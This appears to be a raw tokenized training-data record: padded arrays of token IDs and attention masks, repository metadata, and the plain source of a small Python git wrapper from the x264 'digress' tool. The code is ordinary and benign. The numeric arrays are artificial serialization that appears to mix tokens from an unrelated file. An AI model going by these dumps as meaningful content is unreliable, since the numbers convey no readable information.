32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 900, 199, 504, 5166, 14, 4795, 492, 9506, 199, 504, 5166, 14, 3070, 492, 3622, 63, 20851, 421, 199, 533, 2086, 63, 1278, 8, 3070, 63, 20851, 14, 16300, 63, 1122, 304, 339, 347, 636, 826, 721, 277, 12, 2467, 12, 1747, 12, 536, 12, 1067, 304, 267, 1613, 8, 1712, 63, 1278, 12, 291, 2843, 826, 721, 1556, 12, 1747, 12, 536, 12, 1067, 29, 1100, 9, 267, 291, 14, 2923, 275, 378, 14, 16, 267, 291, 14, 17886, 14, 873, 2561, 288, 283, 521, 356, 900, 12, 288, 283, 2923, 63, 10577, 356, 291, 855, 2923, 63, 10577, 3108, 288, 283, 22272, 356, 277, 855, 22272, 3108, 398, 3828, 339, 347, 636, 2923, 63, 10577, 721, 277, 12, 1559, 304, 267, 12657, 275, 378, 267, 367, 1004, 315, 1559, 14, 1278, 26, 288, 12657, 847, 1004, 14, 5643, 267, 291, 14, 2923, 275, 12657, 267, 372, 291, 14, 2923, 339, 347, 636, 22272, 721, 277, 12, 1559, 304, 267, 291, 14, 1556, 14, 2526, 334, 298, 9496, 29468, 14, 354, 687, 2086, 63, 1648, 465, 1115, 298, 971, 2892, 298, 6578, 10593, 2086, 63, 1648, 63, 604, 465, 3708, 5258, 1115, 14, 344, 275, 3708, 14, 1648, 63, 344, 298, 971, 2892, 298, 6578, 10593, 3336, 63, 22272, 63, 3369, 465, 12448, 5258, 3708, 14, 2558, 63, 344, 275, 12448, 14, 8788, 63, 344, 298, 971, 2892, 298, 6578, 10593, 2933, 63, 5530, 465, 29468, 5258, 29468, 14, 344, 275, 12448, 14, 5530, 63, 344, 298, 971, 2892, 298, 6038, 3708, 14, 344, 275, 450, 83, 401, 334, 1113, 14, 344, 4641, 267, 522, 29, 277, 14, 1556, 14, 11591, 3430, 16, 61, 267, 372, 522, 421, 199, 533, 3622, 63, 1712, 63, 1278, 8, 4795, 14, 8458, 1685, 304, 272, 485, 354, 275, 283, 3070, 14, 1403, 63, 1618, 63, 8515, 14, 3070, 63, 16175, 1278, 7, 272, 485, 6486, 275, 283, 3070, 14, 6198, 63, 3070, 7, 272, 485, 1160, 275, 283, 1403, 63, 1618, 63, 8515, 14, 3070, 63, 16175, 1278, 7, 272, 485, 9130, 63, 3070, 63, 533, 275, 2086, 63, 1278, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
dozeo/x264
tools/digress/scm/git.py
145
2727
""" Git SCM backend for Digress. """ from subprocess import Popen, PIPE, STDOUT import re from digress.errors import SCMError GIT_BRANCH_EXPR = re.compile("[*] (.*)") def checkout(revision): """ Checkout a revision from git. """ proc = Popen([ "git", "checkout", "-f", revision ], stdout=PIPE, stderr=STDOUT) output = proc.communicate()[0].strip() if proc.returncode != 0: raise SCMError("checkout error: %s" % output) def rev_parse(ref): proc = Popen([ "git", "rev-parse", ref ], stdout=PIPE, stderr=STDOUT) output = proc.communicate()[0].strip() if proc.returncode != 0: raise SCMError("rev-parse error: %s" % output) return output def current_rev(): """ Get the current revision. """ return rev_parse("HEAD") def current_branch(): """ Get the current branch. """ proc = Popen([ "git", "branch", "--no-color" ], stdout=PIPE, stderr=STDOUT) output = proc.communicate()[0].strip() if proc.returncode != 0: raise SCMError("branch error: %s" % output) branch_name = GIT_BRANCH_EXPR.findall(output)[0] return branch_name != "(no branch)" and branch_name or None def revisions(rev_a, rev_b): """ Get a list of revisions from one to another. """ proc = Popen([ "git", "log", "--format=%H", ("%s...%s" % (rev_a, rev_b)) ], stdout=PIPE, stderr=STDOUT) output = proc.communicate()[0].strip() if proc.returncode != 0: raise SCMError("log error: %s" % output) return output.split("\n") def stash(): """ Stash the repository. """ proc = Popen([ "git", "stash", "save", "--keep-index" ], stdout=PIPE, stderr=STDOUT) output = proc.communicate()[0].strip() if proc.returncode != 0: raise SCMError("stash error: %s" % output) def unstash(): """ Unstash the repository. """ proc = Popen(["git", "stash", "pop"], stdout=PIPE, stderr=STDOUT) proc.communicate() def bisect(*args): """ Perform a bisection. """ proc = Popen((["git", "bisect"] + list(args)), stdout=PIPE, stderr=STDOUT) output = proc.communicate()[0] if proc.returncode != 0: raise SCMError("bisect error: %s" % output) return output def dirty(): """ Check if the working tree is dirty. """ proc = Popen(["git", "status"], stdout=PIPE, stderr=STDOUT) output = proc.communicate()[0].strip() if proc.returncode != 0: raise SCMError("status error: %s" % output) if "modified:" in output: return True else: return False
gpl-2.0
[ 624, 199, 14686, 428, 9249, 4865, 367, 22442, 753, 14, 199, 624, 199, 199, 504, 3873, 492, 13995, 12, 22773, 12, 4384, 12619, 199, 646, 295, 199, 199, 504, 487, 3313, 14, 2550, 492, 428, 9249, 547, 199, 199, 20072, 63, 24776, 63, 1438, 3311, 275, 295, 14, 2014, 10994, 30431, 334, 2795, 6320, 199, 199, 318, 15243, 8, 5792, 304, 272, 408, 272, 2670, 548, 282, 6974, 687, 6135, 14, 272, 408, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 12891, 401, 267, 3905, 70, 401, 267, 6974, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 12891, 1125, 26, 450, 83, 2, 450, 1072, 9, 199, 199, 318, 6822, 63, 1122, 8, 1121, 304, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 4964, 13, 1122, 401, 267, 2984, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 4964, 13, 1122, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 372, 1072, 199, 199, 318, 1453, 63, 4964, 837, 272, 408, 272, 2372, 314, 1453, 6974, 14, 272, 408, 272, 372, 6822, 63, 1122, 480, 5211, 531, 199, 199, 318, 1453, 63, 4694, 837, 272, 408, 272, 2372, 314, 1453, 5246, 14, 272, 408, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 4694, 401, 267, 4320, 889, 13, 2326, 2, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 4694, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 5246, 63, 354, 275, 598, 649, 63, 24776, 63, 1438, 3311, 14, 6452, 8, 1199, 2788, 16, 61, 272, 372, 5246, 63, 354, 1137, 7340, 889, 5246, 2924, 436, 5246, 63, 354, 503, 488, 199, 199, 318, 22164, 8, 4964, 63, 65, 12, 6822, 63, 66, 304, 272, 408, 272, 2372, 282, 769, 402, 22164, 687, 1373, 370, 4573, 14, 272, 408, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 793, 401, 267, 4320, 908, 2458, 40, 401, 19426, 83, 1396, 5, 83, 2, 450, 334, 4964, 63, 65, 12, 6822, 63, 66, 430, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 793, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 372, 1072, 14, 1294, 4582, 78, 531, 199, 199, 318, 410, 1119, 837, 272, 408, 272, 10126, 314, 7611, 14, 272, 408, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 27145, 401, 267, 298, 2117, 401, 267, 4320, 3250, 13, 1080, 2, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 27145, 1125, 26, 450, 83, 2, 450, 1072, 9, 199, 199, 318, 625, 27145, 837, 272, 408, 272, 1910, 27145, 314, 7611, 14, 272, 408, 272, 6499, 275, 13995, 5234, 3187, 401, 298, 27145, 401, 298, 1935, 2255, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 272, 6499, 14, 10664, 342, 199, 199, 318, 19063, 2031, 589, 304, 272, 408, 272, 14795, 282, 330, 572, 414, 14, 272, 408, 272, 6499, 275, 13995, 8, 5234, 3187, 401, 298, 23247, 937, 435, 769, 8, 589, 1826, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 272, 1072, 275, 6499, 14, 10664, 3430, 16, 61, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 23247, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 372, 1072, 199, 199, 318, 14650, 837, 272, 408, 272, 2670, 340, 314, 6449, 3123, 365, 14650, 14, 272, 408, 272, 6499, 275, 13995, 5234, 3187, 401, 298, 1205, 2255, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 272, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 1205, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 340, 298, 5540, 5424, 315, 1072, 26, 267, 372, 715, 272, 587, 26, 267, 372, 756, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 14686, 428, 9249, 4865, 367, 22442, 753, 14, 199, 624, 199, 199, 504, 3873, 492, 13995, 12, 22773, 12, 4384, 12619, 199, 646, 295, 199, 199, 504, 487, 3313, 14, 2550, 492, 428, 9249, 547, 199, 199, 20072, 63, 24776, 63, 1438, 3311, 275, 295, 14, 2014, 10994, 30431, 334, 2795, 6320, 199, 199, 318, 15243, 8, 5792, 304, 272, 408, 272, 2670, 548, 282, 6974, 687, 6135, 14, 272, 408, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 12891, 401, 267, 3905, 70, 401, 267, 6974, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 12891, 1125, 26, 450, 83, 2, 450, 1072, 9, 199, 199, 318, 6822, 63, 1122, 8, 1121, 304, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 4964, 13, 1122, 401, 267, 2984, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 4964, 13, 1122, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 372, 1072, 199, 199, 318, 1453, 63, 4964, 837, 272, 408, 272, 2372, 314, 1453, 6974, 14, 272, 408, 272, 372, 6822, 63, 1122, 480, 5211, 531, 199, 199, 318, 1453, 63, 4694, 837, 272, 408, 272, 2372, 314, 1453, 5246, 14, 272, 408, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 4694, 401, 267, 4320, 889, 13, 2326, 2, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 4694, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 5246, 63, 354, 275, 598, 649, 63, 24776, 63, 1438, 3311, 14, 6452, 8, 1199, 2788, 16, 61, 272, 372, 5246, 63, 354, 1137, 7340, 889, 5246, 2924, 436, 5246, 63, 354, 503, 488, 199, 199, 318, 22164, 8, 4964, 63, 65, 12, 6822, 63, 66, 304, 272, 408, 272, 2372, 282, 769, 402, 22164, 687, 1373, 370, 4573, 14, 272, 408, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 793, 401, 267, 4320, 908, 2458, 40, 401, 19426, 83, 1396, 5, 83, 2, 450, 334, 4964, 63, 65, 12, 6822, 63, 66, 430, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 793, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 372, 1072, 14, 1294, 4582, 78, 531, 199, 199, 318, 410, 1119, 837, 272, 408, 272, 10126, 314, 7611, 14, 272, 408, 272, 6499, 275, 13995, 779, 267, 298, 3187, 401, 267, 298, 27145, 401, 267, 298, 2117, 401, 267, 4320, 3250, 13, 1080, 2, 272, 2156, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 339, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 27145, 1125, 26, 450, 83, 2, 450, 1072, 9, 199, 199, 318, 625, 27145, 837, 272, 408, 272, 1910, 27145, 314, 7611, 14, 272, 408, 272, 6499, 275, 13995, 5234, 3187, 401, 298, 27145, 401, 298, 1935, 2255, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 272, 6499, 14, 10664, 342, 199, 199, 318, 19063, 2031, 589, 304, 272, 408, 272, 14795, 282, 330, 572, 414, 14, 272, 408, 272, 6499, 275, 13995, 8, 5234, 3187, 401, 298, 23247, 937, 435, 769, 8, 589, 1826, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 272, 1072, 275, 6499, 14, 10664, 3430, 16, 61, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 23247, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 372, 1072, 199, 199, 318, 14650, 837, 272, 408, 272, 2670, 340, 314, 6449, 3123, 365, 14650, 14, 272, 408, 272, 6499, 275, 13995, 5234, 3187, 401, 298, 1205, 2255, 3839, 29, 6089, 12, 4635, 29, 13850, 9, 272, 1072, 275, 6499, 14, 10664, 3430, 16, 1055, 1913, 342, 272, 340, 6499, 14, 9913, 1137, 378, 26, 267, 746, 428, 9249, 547, 480, 1205, 1125, 26, 450, 83, 2, 450, 1072, 9, 272, 340, 298, 5540, 5424, 315, 1072, 26, 267, 372, 715, 272, 587, 26, 267, 372, 756, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 